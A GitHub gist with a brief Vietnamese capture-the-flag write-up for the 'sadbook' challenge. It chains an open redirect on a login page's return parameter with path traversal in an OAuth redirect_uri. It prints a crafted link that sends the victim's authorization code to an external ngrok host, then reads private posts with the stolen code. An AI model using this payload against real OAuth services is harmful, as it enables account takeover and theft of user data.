Skip to content

Instantly share code, notes, and snippets.

@NamPNQ

NamPNQ/readme.md

Last active November 18, 2017 23:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NamPNQ/e491120448edda5b2743698502df30f4 to your computer and use it in GitHub Desktop.
Save NamPNQ/e491120448edda5b2743698502df30f4 to your computer and use it in GitHub Desktop.
Download ZIP
sadbook.ctf.yeuchimse.com
Raw
readme.md

Mình viết sơ qua các steps mình làm

  1. Tác giả hint là open-redirect
  2. Mình có coi qua rồi, khi nhấn vào report chưa login nó sẽ chuyển sang page login, có params return=report.php
  3. search Open Redirect Fuzz List
  4. Thử vài cái thấy \/google.com ok
  5. làm cái đường link để report http://sadpen.ctf.yeuchimse.com/oauth.php?client_id=42&type=code&redirect_uri=http%3A%2F%2Fsadbook.ctf.yeuchimse.com%2Foauth%2Fcallback.php%2F..%2F..%2Flogin.php%3Futm_client%3D113.180.103.214%26return%3D%5C%2Fc4264db7.ngrok.io
  6. report cho tác giả
  7. lấy đc code
  8. vào đọc tâm sự
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment